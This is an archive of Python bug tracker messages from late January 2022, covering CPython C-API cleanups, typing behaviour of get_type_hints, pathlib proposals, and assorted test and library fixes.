Snow added the comment: In addition to what Mark said, note that co_varnames get's populated lazily by the Python-level getter for code.co_varnames. So could you call the Python function before entering the hot path? Regardless, a dedicated C-API for this like Mark suggested would be the better solution. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 12:55:39 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 17:55:39 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1643306139.91.0.653038728112.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +29143 pull_request: https://github.com/python/cpython/pull/30964 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 13:01:36 2022 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 27 Jan 2022 18:01:36 +0000 Subject: [issue44734] turtle: tests for Vec2D.__abs__ are too strict In-Reply-To: <1627145207.46.0.348646231014.issue44734@roundup.psfhosted.org> Message-ID: <1643306496.48.0.942427415048.issue44734@roundup.psfhosted.org> Mark Dickinson added the comment: Low priority, but it may also be worth updating the implementation of `Vec2D.__abs__`. It currently looks like this: def __abs__(self): return (self[0]**2 + self[1]**2)**0.5 But would be more robust if it used hypot: def __abs__(self): return math.hypot(self[0], self[1]) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 13:06:17 2022 From: report at bugs.python.org (Eric Snow) Date: Thu, 27 Jan 2022 18:06:17 +0000 Subject: [issue46541] Replace _Py_IDENTIFIER() with statically initialized objects. In-Reply-To: <1643234464.46.0.949364478641.issue46541@roundup.psfhosted.org> Message-ID: <1643306777.68.0.87956724272.issue46541@roundup.psfhosted.org> Eric Snow added the comment: New changeset 247480a21cb165efdacc346a2d589dfc27e18283 by Eric Snow in branch 'main': bpo-46541: Generate the global objects initializer. (gh-30941) https://github.com/python/cpython/commit/247480a21cb165efdacc346a2d589dfc27e18283 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 13:06:27 2022 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 27 Jan 2022 18:06:27 +0000 Subject: [issue44734] turtle: tests for Vec2D.__abs__ are too strict In-Reply-To: <1627145207.46.0.348646231014.issue44734@roundup.psfhosted.org> Message-ID: <1643306787.52.0.122100495699.issue44734@roundup.psfhosted.org> Mark Dickinson added the comment: Apologies; looks like I'm out of date on this. It's already using hypot, which makes it more than a little worrying that it doesn't get the right answer for `Vec2D(6, 8)`. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 13:11:41 2022 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 27 Jan 2022 18:11:41 +0000 Subject: [issue44734] turtle: tests for Vec2D.__abs__ are too strict In-Reply-To: <1627145207.46.0.348646231014.issue44734@roundup.psfhosted.org> Message-ID: <1643307101.64.0.219125215065.issue44734@roundup.psfhosted.org> Mark Dickinson added the comment: Sorry again, all; I failed to read everything that was going on here. The test *wasn't* failing with the hypot-based version of Vec2D.__abs__ that's in the main branch; only with the "**0.5"-based version that was still in the older branches. Please ignore this and the previous two messages ... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 14:02:41 2022 From: report at bugs.python.org (Christian Heimes) Date: Thu, 27 Jan 2022 19:02:41 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1643310161.69.0.350287914223.issue46476@roundup.psfhosted.org> Change by Christian Heimes : ---------- nosy: +christian.heimes nosy_count: 6.0 -> 7.0 pull_requests: +29144 pull_request: https://github.com/python/cpython/pull/30965 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 14:06:04 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 27 Jan 2022 19:06:04 +0000 Subject: [issue46166] Get "self" args or non-null co_varnames from frame object with C-API In-Reply-To: <1640288010.25.0.698839040509.issue46166@roundup.psfhosted.org> Message-ID: <1643310364.26.0.759797252839.issue46166@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- keywords: +3.11regression nosy: +gregory.p.smith priority: normal -> high _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 14:32:28 2022 From: report at bugs.python.org (Mark Shannon) Date: Thu, 27 Jan 2022 19:32:28 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1643311948.78.0.7479648427.issue46476@roundup.psfhosted.org> Mark Shannon added the comment: New changeset 26b0482393a313e3bda364a35e7417e9db52c1c4 by Christian Heimes in branch 'main': bpo-46476: Simplify and fix _PyStaticCode_Dealloc (GH-30965) https://github.com/python/cpython/commit/26b0482393a313e3bda364a35e7417e9db52c1c4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 14:34:10 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 27 Jan 2022 19:34:10 +0000 Subject: [issue42982] Update suggested number of iterations for pbkdf2_hmac() In-Reply-To: <1611173199.26.0.961948207202.issue42982@roundup.psfhosted.org> Message-ID: <1643312050.85.0.00677449119828.issue42982@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- pull_requests: +29145 pull_request: https://github.com/python/cpython/pull/30966 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 15:04:08 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Thu, 27 Jan 2022 20:04:08 +0000 Subject: [issue46552] typing: get_type_hints can't handle stringified annotations with leading spaces Message-ID: <1643313848.34.0.162030698515.issue46552@roundup.psfhosted.org> New submission from Gregory Beauregard : ``` class C: a: " ClassVar[int]" = 3 get_type_hints(C, globals()) # SyntaxError: Forward reference must be an expression -- got ' ClassVar[int]' ``` I discovered while investigating the viability of moving dataclasses.py to using typing.py's internal type introspection tools that it can't handle stringified annotations with leading spaces. This is covered in dataclasses unit tests: https://github.com/python/cpython/blob/26b0482393a313e3bda364a35e7417e9db52c1c4/Lib/test/test_dataclasses.py#L3033 The relevant failing code in typing.py is here: https://github.com/python/cpython/blob/26b0482393a313e3bda364a35e7417e9db52c1c4/Lib/typing.py#L671 Leading spaces are treated like indention so there's a syntax error. This would be trivial to fix by adding an lstrip() to the compilation code, but it's not clear to me this should be considered a bug. Should this be left as-is, or changed? I'm happy to submit a patch if there's agreement it's a bug. ---------- components: Library (Lib) messages: 411914 nosy: GBeauregard, Jelle Zijlstra, eric.smith priority: normal severity: normal status: open title: typing: get_type_hints can't handle stringified annotations with leading spaces type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 15:09:30 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Thu, 27 Jan 2022 20:09:30 +0000 Subject: [issue46552] typing: get_type_hints can't handle stringified annotations with leading spaces In-Reply-To: <1643313848.34.0.162030698515.issue46552@roundup.psfhosted.org> Message-ID: <1643314170.31.0.858815657485.issue46552@roundup.psfhosted.org> Jelle Zijlstra added the comment: I vote we don't change this. PEP 484 says: > The string literal should contain a valid Python expression (i.e., compile(lit, '', 'eval') should be a valid code object) and it should evaluate without errors once the module has been fully loaded. But compile() fails for leading whitespace. I also don't see a real use case for this. The dataclasses tests were presumably just added for completeness. If there's evidence this is a common pattern in the wild maybe we can reconsider. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 15:09:55 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Thu, 27 Jan 2022 20:09:55 +0000 Subject: [issue46552] typing: get_type_hints can't handle stringified annotations with leading spaces In-Reply-To: <1643313848.34.0.162030698515.issue46552@roundup.psfhosted.org> Message-ID: <1643314195.52.0.361794580196.issue46552@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- nosy: +AlexWaygood, gvanrossum, kj, sobolevn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 15:18:36 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 20:18:36 +0000 Subject: [issue42982] Update suggested number of iterations for pbkdf2_hmac() In-Reply-To: <1611173199.26.0.961948207202.issue42982@roundup.psfhosted.org> Message-ID: <1643314716.19.0.394917922394.issue42982@roundup.psfhosted.org> miss-islington added the comment: New changeset ace0aa2a2793ba4a2b03e56c4ec375c5470edee8 by Gregory P. Smith in branch 'main': bpo-42982: update pbkdf2 example & add another link (GH-30966) https://github.com/python/cpython/commit/ace0aa2a2793ba4a2b03e56c4ec375c5470edee8 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 15:18:46 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 20:18:46 +0000 Subject: [issue42982] Update suggested number of iterations for pbkdf2_hmac() In-Reply-To: <1611173199.26.0.961948207202.issue42982@roundup.psfhosted.org> Message-ID: <1643314726.01.0.429020917117.issue42982@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +29146 pull_request: https://github.com/python/cpython/pull/30968 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 15:21:58 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 20:21:58 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1643314918.61.0.808080630605.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 6c6a153dee132116611f2d5df0689a5a605f62b6 by Victor Stinner in branch 'main': bpo-46417: signal: move siginfo_type to the module state (GH-30964) https://github.com/python/cpython/commit/6c6a153dee132116611f2d5df0689a5a605f62b6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 15:22:54 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 20:22:54 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1643314974.98.0.775628941771.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: I close the issue. I cleared most static types at exit. Following work can be done in bpo-40077 or other issues. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 15:23:37 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 20:23:37 +0000 Subject: [issue40170] [C API] Make PyTypeObject structure an opaque structure in the public C API In-Reply-To: <1585915023.07.0.846808236133.issue40170@roundup.psfhosted.org> Message-ID: <1643315017.64.0.341941161722.issue40170@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 0575551f69ba9c999835bfb176a543d468083c03 by Victor Stinner in branch 'main': bpo-40170: Move _Py_GetAllocatedBlocks() to pycore_pymem.h (GH-30943) https://github.com/python/cpython/commit/0575551f69ba9c999835bfb176a543d468083c03 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 15:28:28 2022 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 27 Jan 2022 20:28:28 +0000 Subject: [issue46552] typing: get_type_hints can't handle stringified annotations with leading spaces In-Reply-To: <1643313848.34.0.162030698515.issue46552@roundup.psfhosted.org> Message-ID: <1643315308.66.0.528350310011.issue46552@roundup.psfhosted.org> Eric V. Smith added the comment: The dataclasses tests were in fact just added for completeness. I'd be okay with changing dataclasses to reject leading spaces. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 15:29:07 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 20:29:07 +0000 Subject: [issue45476] [C API] PEP 674: Disallow using macros as l-value In-Reply-To: <1634246251.33.0.982878943146.issue45476@roundup.psfhosted.org> Message-ID: <1643315347.86.0.164867029652.issue45476@roundup.psfhosted.org> STINNER Victor added the comment: > * zodbpickle-2.2.0: src/zodbpickle/_pickle_33.c Technically, zodbpickle works on Python 3.11 and is not impacted by the Py_SIZE() change. _pickle_33.c redefines the Py_SIZE() macro to continue using as an l-value: https://github.com/zopefoundation/zodbpickle/commit/8d99afcea980fc7bb2ef38aadf53300e08fc4318 I proposed a PR to use Py_SET_SIZE() explicitly: https://github.com/zopefoundation/zodbpickle/pull/64 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 15:29:40 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 20:29:40 +0000 Subject: [issue45476] [C API] PEP 674: Disallow using macros (Py_TYPE and Py_SIZE) as l-value In-Reply-To: <1634246251.33.0.982878943146.issue45476@roundup.psfhosted.org> Message-ID: <1643315380.42.0.271247694387.issue45476@roundup.psfhosted.org> Change by STINNER Victor : ---------- title: [C API] PEP 674: Disallow using macros as l-value -> [C API] PEP 674: Disallow using macros (Py_TYPE and Py_SIZE) as l-value _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 15:45:24 2022 From: report at bugs.python.org (Guo Ci Teo) Date: Thu, 27 Jan 2022 20:45:24 +0000 Subject: [issue46186] replace `io.IncrementalNewlineDecoder` with non incremental newline decoders In-Reply-To: <1640628066.96.0.973649532824.issue46186@roundup.psfhosted.org> Message-ID: <1643316324.36.0.523333604702.issue46186@roundup.psfhosted.org> Guo Ci Teo added the comment: The old code has an incorrect usage of `io.IncrementalNewlineDecoder`. Since the `decode` method is called only once, is it the final call and needs the `final=True` argument as documented in https://docs.python.org/dev/library/codecs.html#codecs.IncrementalDecoder.decode It happens that in those cases, the results are correct in spite of the incorrect usage. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 15:50:14 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Thu, 27 Jan 2022 20:50:14 +0000 Subject: [issue46553] typing: get_type_hints on stringified lone ClassVar raises TypeError Message-ID: <1643316613.99.0.345169624659.issue46553@roundup.psfhosted.org> New submission from Gregory Beauregard : ``` class C: a: "ClassVar" get_type_hints(C, globals()) # TypeError: Plain typing.ClassVar is not valid as type argument ``` A stringified lone ClassVar raises at runtime, but this pattern is tested for in dataclasses unit tests and used in the wild. The PEP is not clear that it should or should not be used with arguments, and it works fine when not stringified. The fix for this is trivial and I can submit a patch if there's agreement. ---------- components: Library (Lib) messages: 411923 nosy: GBeauregard, Jelle Zijlstra, eric.smith, gvanrossum, kj priority: normal severity: normal status: open title: typing: get_type_hints on stringified lone ClassVar raises TypeError versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 15:53:20 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Thu, 27 Jan 2022 20:53:20 +0000 Subject: [issue46553] typing: get_type_hints on stringified lone ClassVar raises TypeError In-Reply-To: <1643316613.99.0.345169624659.issue46553@roundup.psfhosted.org> Message-ID: <1643316800.91.0.596097084025.issue46553@roundup.psfhosted.org> Gregory Beauregard added the comment: I think this is needed for moving dataclasses to using typing.py introspection tools to be viable. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 16:00:04 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Thu, 27 Jan 2022 21:00:04 +0000 Subject: [issue46553] typing: get_type_hints on stringified lone ClassVar raises TypeError In-Reply-To: <1643316613.99.0.345169624659.issue46553@roundup.psfhosted.org> Message-ID: <1643317204.2.0.106414376548.issue46553@roundup.psfhosted.org> Change by Gregory Beauregard : ---------- nosy: +AlexWaygood, sobolevn -GBeauregard _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 16:00:09 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Thu, 27 Jan 2022 21:00:09 +0000 Subject: [issue46553] typing: get_type_hints on stringified lone ClassVar raises TypeError In-Reply-To: <1643316613.99.0.345169624659.issue46553@roundup.psfhosted.org> Message-ID: <1643317209.8.0.155336117662.issue46553@roundup.psfhosted.org> Change by Gregory Beauregard : ---------- type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 16:01:24 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Thu, 27 Jan 2022 21:01:24 +0000 Subject: [issue46553] typing: get_type_hints on stringified lone ClassVar raises TypeError In-Reply-To: <1643316613.99.0.345169624659.issue46553@roundup.psfhosted.org> Message-ID: <1643317284.79.0.498891320322.issue46553@roundup.psfhosted.org> Change by Gregory Beauregard : ---------- nosy: +GBeauregard _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 16:02:47 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 27 Jan 2022 21:02:47 +0000 Subject: [issue44791] Substitution of ParamSpec in Concatenate In-Reply-To: <1627727114.02.0.621938171006.issue44791@roundup.psfhosted.org> Message-ID: <1643317367.47.0.101247086354.issue44791@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- pull_requests: +29147 pull_request: https://github.com/python/cpython/pull/30969 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 16:03:54 2022 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 27 Jan 2022 21:03:54 +0000 Subject: [issue46552] typing: get_type_hints can't handle stringified annotations with leading spaces In-Reply-To: <1643315308.66.0.528350310011.issue46552@roundup.psfhosted.org> Message-ID: Guido van Rossum added the comment: We should not accept leading spaces.-- --Guido (mobile) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 16:09:26 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 27 Jan 2022 21:09:26 +0000 Subject: [issue44791] Substitution of ParamSpec in Concatenate In-Reply-To: <1627727114.02.0.621938171006.issue44791@roundup.psfhosted.org> Message-ID: <1643317766.11.0.846166591957.issue44791@roundup.psfhosted.org> Serhiy Storchaka added the comment: PR 27518 fixes a substitution of a ParamSpec variable with a Concatenate nad a list of types. It is not specified explicitly in PEP 612, but it does not contradict it. PR 30969 makes an ellipsis be valid as the last argument of Concatenate to fix a substitution of a ParamSpec variable with an ellipsis. It contradicts with PEP 612 which allows only a ParamSpec variable there. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 16:17:04 2022 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 27 Jan 2022 21:17:04 +0000 Subject: [issue46553] typing: get_type_hints on stringified lone ClassVar raises TypeError In-Reply-To: <1643316613.99.0.345169624659.issue46553@roundup.psfhosted.org> Message-ID: <1643318224.69.0.0942996363246.issue46553@roundup.psfhosted.org> Eric V. Smith added the comment: dataclasses is no doubt too lenient. But it's just trying to accept valid strings that look like ClassVar. Way back when this was initially implemented, we decided that calling get_type_hints would be too expensive for every dataclass, and would also neccesitate importing typing, which we didn't want to require. I think someone needs to do an analysis of how expensive it would be for dataclasses to import typing and to call get_type_hints. Perhaps we'd make a different decision today. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 16:20:25 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Thu, 27 Jan 2022 21:20:25 +0000 Subject: [issue46553] typing: get_type_hints on stringified lone ClassVar raises TypeError In-Reply-To: <1643316613.99.0.345169624659.issue46553@roundup.psfhosted.org> Message-ID: <1643318425.39.0.699121456041.issue46553@roundup.psfhosted.org> Gregory Beauregard added the comment: I'm drafting an implementation for the purpose of investigating performance right now; I will share when ready. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 16:20:58 2022 From: report at bugs.python.org (Keelung Yang) Date: Thu, 27 Jan 2022 21:20:58 +0000 Subject: [issue46554] Add append keyword argument to Path.write_text() and Path.write_bytes() Message-ID: <1643318458.5.0.470070571625.issue46554@roundup.psfhosted.org> New submission from Keelung Yang : Three reasons to improve issue 35095: Implement pathlib.Path.append_bytes and pathlib.Path.append_text 1. If I want to append text to log at each startup(before calling basicConfig), there is no simple way to do this. 2. Adding append keyword is better then adding new APIs. 3. From stackoverflow: How does this make the classes clean? They already contain the write_* methods which are just not flexible enough. If the methods (or classes) are not dirty how would e.g. adding an optional parameter append=False to them make them dirty? https://stackoverflow.com/questions/57296168/pathlib-path-write-text-in-append-mode So, this patch is just an implementation of discussions in above stackoverflow link. ---------- files: add-append-arg-to-path.write.patch keywords: patch messages: 411929 nosy: keelung-yang priority: normal severity: normal status: open title: Add append keyword argument to Path.write_text() and Path.write_bytes() Added file: https://bugs.python.org/file50591/add-append-arg-to-path.write.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 16:21:23 2022 From: report at bugs.python.org (Keelung Yang) Date: Thu, 27 Jan 2022 21:21:23 +0000 Subject: [issue46554] Add append keyword argument to Path.write_text() and Path.write_bytes() In-Reply-To: <1643318458.5.0.470070571625.issue46554@roundup.psfhosted.org> Message-ID: <1643318483.26.0.896790007538.issue46554@roundup.psfhosted.org> Change by Keelung Yang : ---------- components: +Library (Lib) type: -> enhancement versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 16:57:22 2022 From: report at bugs.python.org (Kodiologist) Date: Thu, 27 Jan 2022 21:57:22 +0000 Subject: [issue46555] Unicode-mangled names refer inconsistently to constants Message-ID: <1643320642.51.0.743138920796.issue46555@roundup.psfhosted.org> New submission from Kodiologist : I'm not sure if this is a bug, but it certainly surprised me. Most reserved words, when Unicode-mangled, as in "???", act like ordinary identifiers (see e.g. bpo-46520). `True`, `False`, and `None` are weird in that Unicode-mangled versions of them refer to those same constants initially, but can take on their own identity as variables if assigned to: Python 3.9.7 (default, Sep 10 2021, 14:59:43) [GCC 11.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> ???? True >>> True = 0 File "", line 1 True = 0 ^ SyntaxError: cannot assign to True >>> ???? = 0 >>> True True >>> ???? 0 I think that `???? = 1` should probably be forbidden. The fact that `????` doesn't always mean the same thing as `True` seems to break the rule in PEP 3131 that "comparison of identifiers is based on NFKC". ---------- messages: 411930 nosy: Kodiologist priority: normal severity: normal status: open title: Unicode-mangled names refer inconsistently to constants type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 16:57:59 2022 From: report at bugs.python.org (Alex Waygood) Date: Thu, 27 Jan 2022 21:57:59 +0000 Subject: [issue46552] typing: get_type_hints can't handle stringified annotations with leading spaces In-Reply-To: <1643313848.34.0.162030698515.issue46552@roundup.psfhosted.org> Message-ID: <1643320679.17.0.844577241171.issue46552@roundup.psfhosted.org> Alex Waygood added the comment: I agree with Jelle and Guido ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 17:05:45 2022 From: report at bugs.python.org (Barney Gale) Date: Thu, 27 Jan 2022 22:05:45 +0000 Subject: [issue46554] Add append keyword argument to Path.write_text() and Path.write_bytes() In-Reply-To: <1643318458.5.0.470070571625.issue46554@roundup.psfhosted.org> Message-ID: <1643321145.98.0.0605544792633.issue46554@roundup.psfhosted.org> Barney Gale added the comment: >From https://stackoverflow.com/a/68969892 > I think a major reason why pathlib.Path objects don't (and, indeed, > shouldn't) have a append_text method is because it creates a hole for > inexperienced users to fall into, which is a huge sin in API design. > Specifically, the hole I'm referring to is using append_text on the > same file repeatedly in a loop. Because you're continually opening > and closing the file, it is slow. Plus, doing so many unnecessary > writes is probably not great for the health of your hard drive. > Worse, because the program will actually behave correctly (e.g. the > file will have the contents they intended), they may not even notice > anything is wrong, because they don't necessarily have a mental gauge > on how long writing to a file "should" take. Most of the time you don't need an 'append' mode. And when you do, most of the time you'll need to append multiple times, in which case `path.open('a')` is a much better bet. ---------- nosy: +barneygale _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 17:27:25 2022 From: report at bugs.python.org (Brandt Bucher) Date: Thu, 27 Jan 2022 22:27:25 +0000 Subject: [issue46528] Simplify the VM's stack manipulations In-Reply-To: <1643161199.78.0.253250267538.issue46528@roundup.psfhosted.org> Message-ID: <1643322445.95.0.9359548213.issue46528@roundup.psfhosted.org> Change by Brandt Bucher : ---------- pull_requests: +29148 pull_request: https://github.com/python/cpython/pull/30970 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 17:39:58 2022 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 27 Jan 2022 22:39:58 +0000 Subject: [issue44791] Substitution of ParamSpec in Concatenate In-Reply-To: <1627727114.02.0.621938171006.issue44791@roundup.psfhosted.org> Message-ID: <1643323198.69.0.416141291228.issue44791@roundup.psfhosted.org> Guido van Rossum added the comment: Before you start supporting things that contradict PEP 612 this should be discussed on typing-sig (or in the python/typing tracker). Honestly I'd feel more comfortable if there was agreement on typing-sig with your previous PRs in this issue as well; "it does not contradict it" is not a ringing endorsement. :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 17:43:02 2022 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 27 Jan 2022 22:43:02 +0000 Subject: [issue46553] typing: get_type_hints on stringified lone ClassVar raises TypeError In-Reply-To: <1643316613.99.0.345169624659.issue46553@roundup.psfhosted.org> Message-ID: <1643323382.65.0.86268476752.issue46553@roundup.psfhosted.org> Guido van Rossum added the comment: It seems acceptable to mypy. I'm not sure I like the agenda of "moving dataclasses to using typing.py introspection tools". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 17:46:19 2022 From: report at bugs.python.org (Charalampos Stratakis) Date: Thu, 27 Jan 2022 22:46:19 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot In-Reply-To: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> Message-ID: <1643323579.67.0.676653321372.issue46542@roundup.psfhosted.org> Charalampos Stratakis added the comment: The issue seems to be affecting also the PPC64LE Fedora Rawhide Clang 3.x and PPC64LE Fedora Stable Clang 3.x ---------- nosy: +cstratak _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 17:50:26 2022 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 27 Jan 2022 22:50:26 +0000 Subject: [issue46552] typing: get_type_hints can't handle stringified annotations with leading spaces In-Reply-To: <1643313848.34.0.162030698515.issue46552@roundup.psfhosted.org> Message-ID: <1643323826.31.0.516546124582.issue46552@roundup.psfhosted.org> Change by Guido van Rossum : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 18:07:21 2022 From: report at bugs.python.org (Barney Gale) Date: Thu, 27 Jan 2022 23:07:21 +0000 Subject: [issue46556] pathlib.Path.__enter__() should emit DeprecationWarning Message-ID: <1643324841.78.0.0628599303644.issue46556@roundup.psfhosted.org> New submission from Barney Gale : In Python 3.9 / issue39682 we made Path.__exit__() a no-op, and added a comment in the code mentioning that it should be deprecated in future. The future is here, so let's deprecate it. ---------- components: Library (Lib) messages: 411936 nosy: barneygale priority: normal severity: normal status: open title: pathlib.Path.__enter__() should emit DeprecationWarning type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 18:10:20 2022 From: report at bugs.python.org (Alex Waygood) Date: Thu, 27 Jan 2022 23:10:20 +0000 Subject: [issue44791] Substitution of ParamSpec in Concatenate In-Reply-To: <1627727114.02.0.621938171006.issue44791@roundup.psfhosted.org> Message-ID: <1643325020.95.0.00911734276589.issue44791@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +AlexWaygood _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 18:10:43 2022 From: report at bugs.python.org (Alex Waygood) Date: Thu, 27 Jan 2022 23:10:43 +0000 Subject: [issue44791] Substitution of ParamSpec in Concatenate In-Reply-To: <1627727114.02.0.621938171006.issue44791@roundup.psfhosted.org> Message-ID: <1643325043.06.0.76303418218.issue44791@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +sobolevn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 18:11:52 2022 From: report at bugs.python.org (Alex Waygood) Date: Thu, 27 Jan 2022 23:11:52 +0000 Subject: [issue46539] typing: forward references don't understand special type forms In-Reply-To: <1643229038.65.0.790137341824.issue46539@roundup.psfhosted.org> Message-ID: <1643325112.57.0.403391652372.issue46539@roundup.psfhosted.org> Change by Alex Waygood : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 18:20:12 2022 From: report at bugs.python.org (Barry A. Warsaw) Date: Thu, 27 Jan 2022 23:20:12 +0000 Subject: [issue46528] Simplify the VM's stack manipulations In-Reply-To: <1643161199.78.0.253250267538.issue46528@roundup.psfhosted.org> Message-ID: <1643325612.32.0.722821261074.issue46528@roundup.psfhosted.org> Barry A. Warsaw added the comment: Very interesting. Do we have any current (or even cutting edge, i.e. 3.11) timings for individual instructions? Or a breakdown of how frequently different instructions are invoked? I remember Carl Shapiro presenting his findings here several years ago (I think in the penultimate in-person Language Summit). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 18:22:28 2022 From: report at bugs.python.org (Barney Gale) Date: Thu, 27 Jan 2022 23:22:28 +0000 Subject: [issue39682] pathlib.Path objects can be used as context managers In-Reply-To: <1582078235.85.0.126538415089.issue39682@roundup.psfhosted.org> Message-ID: <1643325748.86.0.29012083085.issue39682@roundup.psfhosted.org> Change by Barney Gale : ---------- pull_requests: +29150 pull_request: https://github.com/python/cpython/pull/30971 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 18:22:28 2022 